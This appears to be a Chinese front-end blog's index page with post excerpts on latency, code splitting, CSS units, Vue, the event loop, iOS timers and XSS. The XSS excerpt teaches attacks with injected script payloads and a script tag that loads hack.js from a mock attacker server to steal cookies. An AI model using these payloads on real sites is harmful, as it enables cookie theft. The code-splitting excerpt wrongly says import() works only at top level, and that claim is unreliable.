网络延迟和丢包

1、什么是延迟呢? 延迟其实就是我们在网页浏览或者使用应用时,从我们点击请求到服务器返回结果给我们之间的时间差。就像你在跟朋友打电话,你说完话后,朋友听到并回应你所说话的时间差一样。 我们的最终目标是创建一个系统,让这个时间差变得尽可能短,也就是实现零延迟。但现实世界中,有各种各样的问题会导致系统出现延迟。如果系统的延迟很低,那么我们请求得到响应的时间就会很短。每次你在浏览器中输入网址或者点击一个链接,浏览器都会向服务器发出一个请求信号,然后服务器需要处理这个请求,获取需要的信息,最后把这些信息返回给你的浏览器。整个过程中就会有一些时间差,这就是延迟。所以,我们要不断努力降低延迟,提高系统的响应速度。 2、延迟是怎么回事呢? 延迟其实就是你在请求后需要等待的时间,就像等待快递送到家门一样。来看个例子,更容易理解它是怎么运作的。 想象你正在和一个电子商务网站(比如淘宝)互动,你喜欢一个商品,然后把它加入购物车。现在,当你点击“添加到购物车”按钮时,下面的事情会依次发生: 你点击了“添加到购物车”按钮,这时就像你启动了一个计时器,浏览器开始向服务器发请求。 服务器收到请求,然后开始处理它,就像你的快递订单到了快递中心一样。 服务器处理完后,回应你的请求,信息到达你的浏览器,商品成功添加到购物车中,就像你的包裹送到了家门口一样。 你可以想象在第一步按下了计时器的启动按钮,然后在最后一步停下,这段时间就是延迟。希望这个例子能让你更容易理解延迟是如何运作的。 3、延迟都是怎么来的呢? 现在,你应该已经理解了要点,但是你知道是什么造成了延迟吗?网络中的延迟受多种因素影响,它们在确定延迟的具体数值时扮演着关键角色。其中一个主要因素是出站呼叫。回到之前添加购物车的例子,当你点击浏览器上的按钮时,请求会发送到后端的某个服务器,这个服务器可能会在内部调用多个服务来进行计算(可能是同时或者按顺序),然后等待它们的响应或将它们汇总。所有这些因素都会增加呼叫的延迟。但总结起来,主要由以下几个因素引起: 传输介质: 传输介质指的是信息在起点和终点之间的物理路径。系统的延迟会取决于用于传输请求的介质类型。广域网、光纤电缆等传输介质都广泛应用,但每种介质都有自己的限制,这会影响延迟。 传播延迟: 这指的是数据包从一个源传播到另一个源所需的时间。系统的延迟很大程度上取决于通信节点之间的距离。节点距离越远,系统的延迟就会越高。 路由器: 路由器在通信中扮演着重要的角色,它们需要一些时间来分析数据包的标头信息。延迟取决于路由器处理请求的效率。每一次路由器到路由器的跳跃都会增加系统的延迟。 存储延迟: 系统的延迟还受到所使用的存储系统类型的影响,因为处理和返回数据可能需要一些时间。因此,访问存储中的数据会增加系统的延迟。 4、如何测量延迟? 要量化延迟其实很简单,我们有几种常用的方法,让我们来看看最常见的三种: Ping(网络探测): Ping是测量延迟最常用的工具之一。它的原理是向目标地址发送一个小数据包,然后查看接收到响应所需的时间。更快的Ping意味着连接更敏捷,响应更迅速。 Traceroute(路径跟踪): Traceroute是另一个用于测试延迟的工具。它也使用数据包,但不止如此,它还会逐一记录数据包从源到目的地经过的每个中间节点所需的时间。这有助于识别网络中的延迟点。 MTR(网络诊断工具): MTR是Ping和Traceroute的超级组合。MTR提供了详尽的报告,列出了从一个端点到另一个端点所需的每个网络节点的信息。这份报告通常包括了各种细节,比如丢包率、平均延迟等,非常有助于分析网络性能。 5、延迟优化 延迟是系统性能的绊脚石,所以我们需要采取一些措施来进行优化。下面是一些简单又实用的方法,可以帮助我们减少延迟: 采用HTTP/2: 使用HTTP/2协议可以显著减少延迟。它支持并行传输,最大程度地减少了数据从发送方到接收方的往返次数,这对于降低延迟非常有效。 减少外部HTTP请求: 第三方服务会增加延迟。通过减少外部HTTP请求的数量,我们可以提高系统的响应速度和质量。 使用CDN: 内容分发网络(CDN)被证明能够减少延迟。CDN会在全球多个位置缓存资源,从而减少请求和响应的传输时间。这意味着可以从更接近客户端的缓存位置获取请求,而不必每次都回到原始服务器。 浏览器缓存: 利用浏览器缓存,可以减少向服务器发送的请求次数,从而降低延迟。浏览器会在本地缓存特定资源,这对于提高页面加载速度很有帮助。 优化磁盘I/O: 为了减小磁盘I/O的影响,我们需要优化算法,尽量减少频繁的磁盘写入操作。可以考虑使用直写式缓存、内存数据库,或者在适当的情况下进行写入合并,还可以考虑使用快速存储系统,比如SSD。 作为开发人员,我们还可以在应用程序级别采取一些方法来优化延迟: 避免低效算法: 高效的算法是代码中延迟的主要来源之一。要尽量避免不必要的循环或昂贵的嵌套操作。 避免锁定的设计模式: 锁定会引入延迟,因此我们应该采用避免锁定的设计模式,特别是在多线程环境中。 采用异步编程模型: 异步编程可以更好地利用硬件资源,因为它避免了阻塞操作,从而减少等待时间。 限制无界队列深度: 限制无界队列深度并提供反压通常可以减少代码中的等待时间,从而产生更可预测的延迟。 这些方法可以帮助我们优化延迟,提高系统性能,让用户获得更好的体验。 常见考点 在前端面试中,网络延迟和丢包是评估你对网络传输、性能瓶颈及应对策略理解的重要考点。面试官会通过这些话题判断能否从网络层面分析问题、优化用户体验,特别是在弱网环境、移动端场景下。 一、网络延迟的考点 1. 网络延迟的构成 面试官可能会问:“用户输入 URL 后,请求延迟可能发生在哪些阶段?” 阶段 含义 DNS 解析 域名 → IP 地址 TCP 建立连接 三次握手耗时 TLS 握手 HTTPS 建立安全连接耗时 请求发送 客户端发送数据 首字节返回 TTFB 服务端处理 + 网络传输 内容下载 响应内容下载耗时 渲染耗时 浏览器解析和绘制页面 2. 常见影响网络延迟的因素 地域距离:客户端与服务端物理距离大(如中国访问美国服务器) DNS 缓存未命中或 DNS 配置不合理 TLS 握手过长(HTTPS 开销) 带宽瓶颈:文件过大、网络拥堵 长连接未复用(未启用 HTTP/2) 移动网络抖动高(4G/5G 网络波动) 首包延迟(TTFB 过高) 3. 如何优化延迟? 启用 CDN,部署全球节点,减少 RTT 启用 DNS 预解析:<link rel="dns-prefetch"> 启用 HTTP/2 或 HTTP/3,减少连接耗时 减少重定向跳转、合并请求 使用 preconnect、prefetch 提前连接目标源 SSR 提前输出首屏 HTML,减少白屏 缓存优化(减少服务端响应压力) 二、丢包的考点 1. 丢包的本质 网络传输中,部分数据包因链路拥堵、信号弱、硬件丢包率高等原因,未能到达目的地。 ...

July 28, 2025

代码分割

什么是代码分割 代码分割是一种将代码分割成多个小块的方式,然后按需加载或并行加载所需的块的技术。代码分割可以用于减少应用程序的初始加载时间或将代码切割成可按需加载的块,从而减少应用程序所需的总体代码量。 为什么要使用代码分割 在大型应用程序中,将所有代码放在一个文件中会导致应用程序加载时间过长,影响用户体验。为了解决这个问题,我们需要将代码分割成小块,然后按需加载或并行加载所需的块。 代码分割的方式 1. 动态导入 import import()是 JavaScript 中的一个动态导入语法,它允许在运行时异步加载模块。它返回一个 Promise,该 Promise 在模块加载完成后被解析为一个包含导出内容的模块对象。 使用 import()的语法如下: import(modulePath) .then((module) => { // 使用导入的模块 }) .catch((error) => { // 处理错误 }); 在这个语法中,modulePath 是一个字符串,用于指定要加载的模块路径。它可以是相对路径或绝对路径,也可以是一个包名。 当调用 import(modulePath)时,它会返回一个 Promise。这个 Promise 会在模块加载完成后被解析为一个包含导出内容的模块对象。你可以使用.then()方法来处理解析后的模块对象,并在其中使用导入的模块。 如果模块加载失败,Promise 会被拒绝,并触发.catch()方法中的错误处理逻辑。 注意事项 import()只能在模块的顶层作用域中使用,不能在函数内部或条件语句中使用。这是因为 import()是静态解析的,它在代码加载时就会执行,而不是在运行时。 另外,import()可以与其他语法结合使用,例如动态模块路径和对象解构。 动态模块路径: const modulePath = "./myModule"; import(modulePath) .then((module) => { // 使用导入的模块 }) .catch((error) => { // 处理错误 }); 在这个示例中,modulePath 是一个变量,它的值在运行时确定。这样可以根据需要动态加载不同的模块。 对象解构: import("./myModule") .then(({ myFunction, myVariable }) => { // 使用导入的函数和变量 myFunction(); console.log(myVariable); }) .catch((error) => { // 处理错误 }); 2. React.lazy React.lazy 是 React 16.6 版本引入的一个特性,它可以让你以动态的方式进行代码拆分(code splitting)。通过 React.lazy,你可以延迟加载(lazy load)一个组件,只有在需要时才会加载该组件,从而提高应用程序的性能。 React.lazy 的用法如下: ...

December 17, 2024

实体字符(转义字符)

HTML 的实体字符(HTML Entities)是用于显示某些特殊字符或符号的编码形式。 HTML 中某些符号具有特殊含义,例如 <, >, & 等字符不能直接在网页内容中使用,所以需要使用实体字符来表示它们。 常见的 HTML 实体字符 空格和控制字符 &nbsp;:空格字符 (non-breaking space) &nbsp; <!-- 表示一个空格 --> &lt;:小于号 < &lt;div&gt; <!-- 表示 <div> --> &gt;:大于号 > &gt;/div&gt; <!-- 表示 </div> --> &amp;:与符号 & &amp; <!-- 表示 & --> &quot;:双引号 " &quot;Hello&quot; <!-- 表示 "Hello" --> &apos;:单引号 ' &apos;Hello&apos; <!-- 表示 'Hello' --> 数学符号 &plus;:加号 + &minus;:减号 − &times;:乘号 × &divide;:除号 ÷ 货币符号 &dollar;:美元符号 $ &euro;:欧元符号 € &pound;:英镑符号 £ &yen;:日元符号 ¥ 其他常见符号 &copy;:版权符号 © &reg;:注册商标符号 ® &trade;:商标符号 ™ &sect;:章节符号 § &deg;:度数符号 ° 希腊字母 &alpha;:α &beta;:β &gamma;:γ &delta;:δ 为什么需要实体字符? 避免 HTML 解析冲突:例如 <, >, & 等符号在 HTML 中有特定的用途,用实体字符可以避免冲突。 显示特殊符号:例如版权符号、商标符号或货币符号等,不能直接在键盘上输入,使用实体字符可以确保正确显示。 常见考点 1. HTML 实体字符的定义与作用 什么是 HTML 实体字符?为什么需要使用它们? 实体字符用于在 HTML 中显示特殊符号(如 <, >, &, " 等)或不可见字符(如空格 、换行符等),避免与 HTML 语法冲突。 2. 常见的 HTML 实体字符 &lt;:小于号 < &gt;:大于号 > &amp;:与符号 & &quot;:双引号 " &apos;:单引号 ' &nbsp;:不间断空格 3. Unicode 和 ASCII 编码的实体字符 HTML 支持通过 &#xNNNN;(十六进制)或 &#NNNN;(十进制)表示 Unicode 字符。例如: &#x2665; 或 &#9829; 表示 ♥ 考察点可能涉及通过实体字符显示 Unicode 表情符号、语言字符等。 4. 转义字符 在 HTML 中如何使用实体字符进行转义? 为什么需要转义符号(如 <, >, &)?特别是在 HTML 元素内嵌 JavaScript 或样式时需要避免歧义。 安全性方面的考量,尤其是防止 XSS(跨站脚本攻击)。 5. 空白字符 &nbsp;(不间断空格):防止自动换行或保留多个空格。 &ensp; 和 **&emsp;**:半角和全角空格符号。 实体空白符在排版和布局中的应用(如对齐、占位)。 6. 其他常见实体字符 货币符号:如 &yen;(¥)、&euro;(€)。 数学符号:如 &plusmn;(±)、&times;(×)、&divide;(÷)。 特殊符号:如 &copy;(©)、&reg;(®)、&trade;(™)。 7. HTML5 实体字符扩展 HTML5 中新增的一些实体字符,如: **&le;**(≤)和 &ge;(≥) &bull;(•)用于列表符号 &hellip;(…)省略号 8. 实体字符与浏览器兼容性 浏览器如何处理不支持的实体字符? 考察点可能涉及浏览器对不同编码的支持,以及如何确保兼容性。 9. HTML 实体字符与国际化 如何通过实体字符支持多语言文本? 考察 Unicode 与实体字符在国际化中的应用,如如何使用实体字符表示非 ASCII 字符。 10. HTML 实体字符在输入表单中的应用 在表单中,如何防止特殊字符输入导致 HTML 注入攻击? 使用实体字符保护表单数据的完整性和安全性。

October 15, 2024

单位

说起CSS单位,我们最熟悉的可能就是像素单位(px),它是一个绝对单位,也就是说一个10px的文字,放在哪里都是一样大的。单位可以影响颜色、距离、尺寸等一系列的属性。CSS中单位的形式有很多种,下面就分别来看看这些单位。 1. 相对单位 相对单位就是相对于另一个长度的长度。CSS中的相对单位主要分为两大类: 字体相对单位,他们都是根据font-size来进行计算的。常见的字体相对单位有:em、rem、ex、ch; 视窗相对单位,他们都是根据视窗大小来决定的。常见的视窗相对单位有vw、vh、vmax、vmin。 下面就来看看这些常见的CSS单位。 (1)em 和 rem em是最常见的相对长度单位,适合基于特定的字号进行排版。根据CSS的规定,1em 等于元素的font-size属性的值。 em 是相对于父元素的字体大小进行计算的。如果当前对行内文本的字体尺寸未进行显示设置,则相对于浏览器的默认字体尺寸。当DOM元素嵌套加深时,并且同时给很多层级显式的设置了font-size的值的单位是em,那么就需要层层计算,复杂度会很高。 当然,上面的这个说法是不严谨 的。来看一个例子: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> <style> .parent { width: 300px; height: 300px; font-size: 20px; } .child { border: 1em solid ; } </style> </head> <body> <div class="parent"> <div class="child"> 子元素 </div> </div> </body> </html> 这里给父元素设置了字体大小为20px,然后给子元素的border宽度设置为1em,这时,子元素的border值为20px,确实是相对于父元素的字体大小设置的: 那如果我们给子元素的字体设置为30px: .child { font-size: 30px; border: 1em solid ; } 这时可以看到,子元素的边框宽度就是30px,它是相对自己大小进行计算的: 所以,可以得出结论:如果自身元素是没有设置字体大小的,那么就会根据其父元素的字体大小作为参照去计算,如果元素本身已经设置了字体,那么就会基于自身的字体大小进行计算。 em单位除了可以作用于 font-size之外,还可以运用于其他使用长度的属性,比如border-width、width、height、margin、padding、text-shadow等。 所以,em的使用还是比较复杂的,它可能会继承任意一级父元素的字体大小。需要谨慎使用。 rem相对于em就简单了很多,它是根据页面的根元素(根元素)的字体大小来计算的。来对上面的例子进行修改: .child { font-size: 30px; border: 1rem solid ; } html { font-size: 25px; } 效果如下,可以看到,边框的长度变成了25px,它是根据根元素html的字体大小计算的: ...

October 10, 2024

mixin-混入

1. 什么是Mixin? 想要使用一个事物或者工具,我们首要先了解它是什么,这样我们才好对症下药。 其实Mixin不是Vue专属的,可以说它是一种思想,也可以说它就是混入的意思,在很多开发框架中都实现了Mixin(混入),我们这里主要讲解的是Vue中的Mixin。 老规矩,先看官方文档。 官方解释: 混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项。 官方的解释通常都是晦涩难懂的,因为要专业和准确嘛! 我们可以用我们自己容易理解的话来说说Vue中的Mixin是什么。 民间解释: 将组件的公共逻辑或者配置提取出来,哪个组件需要用到时,直接将提取的这部分混入到组件内部即可。这样既可以减少代码冗余度,也可以让后期维护起来更加容易。 这里需要注意的是:提取的是逻辑或配置,而不是HTML代码和CSS代码。其实大家也可以换一种想法,mixin就是组件中的组件,Vue组件化让我们的代码复用性更高,那么组件与组件之间还有重复部分,我们使用Mixin在抽离一遍。 2. Mixin和Vuex的区别? 上面一点说Mixin就是一个抽离公共部分的作用。在Vue中,Vuex状态管理似乎也是做的这一件事,它也是将组件之间可能共享的数据抽离出来。两者看似一样,实则还是有细微的区别,区别如下: Vuex公共状态管理,如果在一个组件中更改了Vuex中的某个数据,那么其它所有引用了Vuex中该数据的组件也会跟着变化。 Mixin中的数据和方法都是独立的,组件之间使用后是互相不影响的。 3. 如何使用? 我们了解了Mixin的概念,那么如何使用它呢?这才是我们的重点。 3.1 准备工作 接下来我们的mixin就放在Vue2.x的脚手架项目中演示。 利用Vue-cli初始化一个最简单的项目: 3.1 mixin定义 定义mixin也非常简单,它就是一个对象而已,只不过这个对象里面可以包含Vue组件中的一些常见配置,如data、methods、created等等。 在我们的项目src目录下新建mixin文件夹,然后新建index.js文件,该文件存放我们的mixin代码。 代码如下: // src/mixin/index.js export const mixins = { data() { return {}; }, computed: {}, created() {}, mounted() {}, methods: {}, }; 可以看到我们的mixin非常的简单,主要包含了一个Vue组件的常见的逻辑结构。 接下来让我们在mixin中简单的写点东西,代码如下: export const mixins = { data() { return { msg: "我是小猪课堂", }; }, computed: {}, created() { console.log("我是mixin中的created生命周期函数"); }, mounted() { console.log("我是mixin中的mounted生命周期函数"); }, methods: { clickMe() { console.log("我是mixin中的点击事件"); }, }, }; 3.2 局部混入 我们的公共mixin定义好后,最重要就是如何使用它。根据不同的业务场景,我们可以分为两种:局部混入和全局混入。顾名思义,局部混入和组件的按需加载有点类似,就是需要用到mixin中的代码时,我们再在组件章引入它。全局混入的话,则代表我在项目的任何组件中都可以使用mixin。 ...

October 5, 2024

defineProperty 与 proxy

前言 我们或多或少都听过“数据绑定”这个词,“数据绑定”的关键在于监听数据的变化,可是对于这样一个对象:var obj = {value: 1},我们该怎么知道 obj 发生了改变呢? definePropety ES5 提供了 Object.defineProperty 方法,该方法可以在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回这个对象。 语法 Object.defineProperty(obj, prop, descriptor) 参数 obj: 要在其上定义属性的对象。 prop: 要定义或修改的属性的名称。 descriptor: 将被定义或修改的属性的描述符。 举个例子: var obj = {}; Object.defineProperty(obj, "num", { value : 1, writable : true, enumerable : true, configurable : true }); // 对象 obj 拥有属性 num,值为 1 虽然我们可以直接添加属性和值,但是使用这种方式,我们能进行更多的配置。 函数的第三个参数 descriptor 所表示的属性描述符有两种形式:数据描述符和存取描述符。 两者均具有以下两种键值: configurable 当且仅当该属性的 configurable 为 true 时,该属性描述符才能够被改变,也能够被删除。默认为 false。 enumerable 当且仅当该属性的 enumerable 为 true 时,该属性才能够出现在对象的枚举属性中。默认为 false。 数据描述符同时具有以下可选键值: value 该属性对应的值。可以是任何有效的 JavaScript 值(数值,对象,函数等)。默认为 undefined。 writable 当且仅当该属性的 writable 为 true 时,该属性才能被赋值运算符改变。默认为 false。 存取描述符同时具有以下可选键值: get 一个给属性提供 getter 的方法,如果没有 getter 则为 undefined。该方法返回值被用作属性值。默认为 undefined。 set 一个给属性提供 setter 的方法,如果没有 setter 则为 undefined。该方法将接受唯一参数,并将该参数的新值分配给该属性。默认为 undefined。 值得注意的是: ...

October 2, 2024

事件循环

单线程的 JavaScript 同步与异步 JavaScript 在设计之初是作为浏览器脚本语言,主要用于与用户进行页面交互和操纵 DOM。因此,为避免由不可预测的用户操作可能带来的复杂的并发问题,JavaScript 只能设计成单线程的,这也是这门语言的核心特征之一。 JS 的宿主环境通过仅提供一个线程运行 JS 来保证 JS 代码的单线程运行。 单线程意味着 JS 引擎在同一时间只能做一件事情,即同步地执行代码。但在代码执行过程中不可避免地会遇到一些无法立即执行的任务,例如: 计时器到达时间后要执行的任务 — setInterval、setTimeout 网络请求完成后要执行的任务 — XMLHttpRequest、Fetch 监听到用户操作后要执行的任务 — addEventListener … … … 如果让执行 JS 的线程去处理这些任务,就会导致该线程处于长期阻塞的状态,而宿主环境中的 JS 执行线程往往还承担着极其重要的工作。例如,在浏览器中,如果执行 JS 的线程长期阻塞,就会导致浏览器卡死! 为避免上述情况发生,JS 的宿主环境使用了异步的方式来处理这种无法立即执行的任务。 当遇到异步任务时,宿主环境会将其交给其他线程处理,执行 JS 的线程则会立即结束当前任务转而去执行后续代码。 事件循环 事件循环是宿主环境处理 JS 异步操作,让其能够非阻塞式运行的机制。 不同宿主环境对事件循环的实现方式有所不同,不过在核心机制上大同小异。 接下来,本文将详细描述 JavaScript 在浏览器和 Node.js 这两个宿主环境中的事件循环机制。 浏览器事件循环 浅谈浏览器 聊浏览器的事件循环之前,我们先说说浏览器本身。 现代浏览器是一个多进程多线程的应用程序,内部工作极其复杂,其程度直逼操作系统。它拥有数个功能模块,为避免单个模块崩溃牵连其他模块,导致连锁反应,使浏览器彻底崩溃。浏览器在启动时,会开启多个进程,把不同的功能模块放在不同的进程里。 浏览器进程众多,其中比较重要的有: 📚 浏览器进程 浏览器进程是浏览器的主进程,无论打开多少浏览器窗口,它仅有一个。 它主要负责浏览器界面显示、用户交互和进程管理。 这里说的界面和交互,不是视窗内的网站界面。而是指浏览器本身自带的部分,如导航栏、书签栏、刷新按钮等。 刚打开浏览器的时候只有一个浏览器进程,其他进程都是它创建的。 📚 网络进程 网络进程主要负责处理网站的数据请求和响应,通常情况下,它与渲染进程的交互最为密切。每当网站需要进行资源请求,渲染进程就会将任务交给网络进程处理,网络进程取得响应结果后再返回给渲染进程。 网络进程内部会开启多个线程,以实现多网络请求的异步化处理。 📚 渲染进程 渲染进程负责控制和显示视窗部分(网站页面)的所有内容,主要是解析 HTML、CSS、JS 和其他资源,并生成渲染树、执行布局和绘制等操作。 ...

October 1, 2024

iOS 定时器的注意事项

iOS 开发中常用的定时器有 NSTimer、CADisplayLink 和 GCD Timer。它们各有特点,但在使用时都有一些需要注意的问题。 常见定时器类型 1. NSTimer 最常用的定时器,基于 RunLoop 实现: // 自动添加到当前 RunLoop 的 DefaultMode NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval:1.0 target:self selector:@selector(timerFired) userInfo:nil repeats:YES]; // 手动创建,需要手动添加到 RunLoop NSTimer *timer = [NSTimer timerWithTimeInterval:1.0 target:self selector:@selector(timerFired) userInfo:nil repeats:YES]; [[NSRunLoop currentRunLoop] addTimer:timer forMode:NSDefaultRunLoopMode]; 2. CADisplayLink 与屏幕刷新率同步的定时器,适合做动画: CADisplayLink *displayLink = [CADisplayLink displayLinkWithTarget:self selector:@selector(update)]; [displayLink addToRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode]; 3. GCD Timer 不依赖 RunLoop,精度更高: dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dispatch_get_main_queue()); dispatch_source_set_timer(timer, DISPATCH_TIME_NOW, 1.0 * NSEC_PER_SEC, 0); dispatch_source_set_event_handler(timer, ^{ NSLog(@"GCD Timer fired"); }); dispatch_resume(timer); 注意事项一:循环引用问题 问题描述 NSTimer 和 CADisplayLink 在使用 target-action 模式时,会强引用 target。如果 target 又持有定时器,就会形成循环引用: ...

May 2, 2026

OpenClaw 源码导读(四):Channels、Nodes 与扩展生态

前三篇我们看清了 OpenClaw 的三副骨架:架构全景、Gateway 控制平面、Agent Harness 执行管线。这一篇是压轴篇,我们看它的"血肉"——channels/、node-host/、canvas-host/、plugins/、skills/、sandbox/。OpenClaw 真正"好用"的感觉,是从这一层来的:一条消息从 WhatsApp 进来、触发 iOS 上的摄像头、在 Android 上渲染一张 Canvas、最后把结果发回 Slack 线程——整个过程中 Gateway 本身一行代码都不需要改。 本文涵盖 118 个 channel/provider extension、53 个 skill、iOS/macOS/Android node 客户端、A2UI Canvas 协议、以及 Docker sandbox 的整套隔离模型。 一、Channels:118 个 extension 是怎么"插"进来的 1. ChannelPlugin 接口 OpenClaw 所有 channel(微信、Telegram、Slack、iMessage、IRC、Discord……)本质上都是实现同一个接口 ChannelPlugin: export type ChannelPlugin<ResolvedAccount = any, Probe = unknown, Audit = unknown> = { id: ChannelId; meta: ChannelMeta; capabilities: ChannelCapabilities; defaults?: { queue?: { debounceMs?: number; }; }; reload?: { configPrefixes: string[]; noopPrefixes?: string[] }; setupWizard?: ChannelPluginSetupWizard; config: ChannelConfigAdapter<ResolvedAccount>; configSchema?: ChannelConfigSchema; setup?: ChannelSetupAdapter; pairing?: ChannelPairingAdapter; security?: ChannelSecurityAdapter<ResolvedAccount>; groups?: ChannelGroupAdapter; mentions?: ChannelMentionAdapter; outbound?: ChannelOutboundAdapter; status?: ChannelStatusAdapter<ResolvedAccount, Probe, Audit>; gatewayMethods?: string[]; gateway?: ChannelGatewayAdapter<ResolvedAccount>; auth?: ChannelAuthAdapter; approvalCapability?: ChannelApprovalCapability; elevated?: ChannelElevatedAdapter; commands?: ChannelCommandAdapter; lifecycle?: ChannelLifecycleAdapter; secrets?: ChannelSecretsAdapter; allowlist?: ChannelAllowlistAdapter; doctor?: ChannelDoctorAdapter; bindings?: ChannelConfiguredBindingProvider; conversationBindings?: ChannelConversationBindingSupport; streaming?: ChannelStreamingAdapter; threading?: ChannelThreadingAdapter; messaging?: ChannelMessagingAdapter; agentPrompt?: ChannelAgentPromptAdapter; directory?: ChannelDirectoryAdapter; resolver?: ChannelResolverAdapter; actions?: ChannelMessageActionAdapter; heartbeat?: ChannelHeartbeatAdapter; agentTools?: ChannelAgentToolFactory | ChannelAgentTool[]; }; 这个接口一共有 40 多个可选的 adapter,每个对应一种能力: ...

May 2, 2026

网络安全

1、XSS Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS what is XSS? 我们先从字面意义上看一下,跨站->顾名思义就是我们从一个网站跑到了另外一个网站上,脚本->也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。 例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie XSS危害 1、利⽤虚假输⼊表单骗取⽤户个⼈信息。 2、利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。 3、显示伪造的⽂章或图⽚。 简单演示 // 普通 http://localhost:3000/?from=china // alert尝试 http://localhost:3000/?from=<script>alert(3)</script> // 如果可以弹出3,证明这个输入框没有过滤html标记 模拟获取cookie http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> 后台代码 const koa = require('koa'); // 启动在4000端口上 const chalk = require('chalk') const log = contents => { console.log(chalk.red(contents)) //打印cookie } // 模拟黑客网站 const app = new koa(); module.exports = app 存储型(server端): 场景:见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。 攻击步骤: 1、攻击者将恶意代码提交到目标网站的数据库中 2、用户打开目标网站时,服务端将恶意代码从数据库中取出来,拼接在HTML中返回给浏览器 3、用户浏览器在收到响应后解析执行,混在其中的恶意代码也同时被执行 4、恶意代码窃取用户数据,并发送到指定攻击者的网站,或者冒充用户行为,调用目标网站的接口,执行恶意操作 反射型(Server端) 与存储型的区别在于,存储型的恶意代码存储在数据库中,反射型的恶意代码在URL上 场景:通过 URL 传递参数的功能,如网站搜索、跳转等。 攻击步骤: 1、攻击者构造出特殊的 URL,其中包含恶意代码。 2、用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。 3、用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。 4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。 Dom 型(浏览器端) DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。 ...

July 28, 2025